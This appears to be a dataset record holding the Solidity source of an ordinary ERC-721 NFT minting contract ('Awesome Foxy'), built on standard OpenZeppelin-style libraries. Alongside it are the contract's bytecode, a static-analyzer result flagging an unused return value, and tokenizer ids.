[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,632
0x957466ec17ccfa88a5d7eb1d510dfdeb1e021767
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Foxy is ERC721Enumerable, Ownable { uint16 public constant MAX_TOKENS = 4320; uint256 public constant MAX_TOKENS_PER_PURCHASE = 16; uint256 private price = 5e16; string private base = "https://awesome-foxy-huv7r.ondigitalocean.app/"; function _baseURI() internal view virtual override returns (string memory) { return base; } function setBaseURI(string memory _base) public onlyOwner { base = _base; } constructor() ERC721("Awesome Foxy", "FOXY") {} function mint(uint256 _count) public payable { uint256 totalSupply = totalSupply(); require(_count > 0 && _count < MAX_TOKENS_PER_PURCHASE + 1, "You can get up to 16 foxies each time :)"); require(totalSupply + _count < MAX_TOKENS + 1, "Foxies not enough!"); require(msg.value >= price*_count, "Insufficient Ether"); for(uint8 i = 0; i < _count; i++) { _safeMint(msg.sender, totalSupply + i); } } function withdraw() public onlyOwner payable{ uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x73957466ec17ccfa88a5d7eb1d510dfdeb1e02176730146080604052600080fdfea2646970667358221220efb9a44b2ec1395693b1867a1e19d236b54594b4c28dcadddd47d727bdef756a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 21472, 2575, 8586, 16576, 9468, 7011, 2620, 2620, 2050, 2629, 2094, 2581, 15878, 2487, 2094, 22203, 2692, 20952, 3207, 2497, 2487, 2063, 2692, 17465, 2581, 2575, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 102 ]
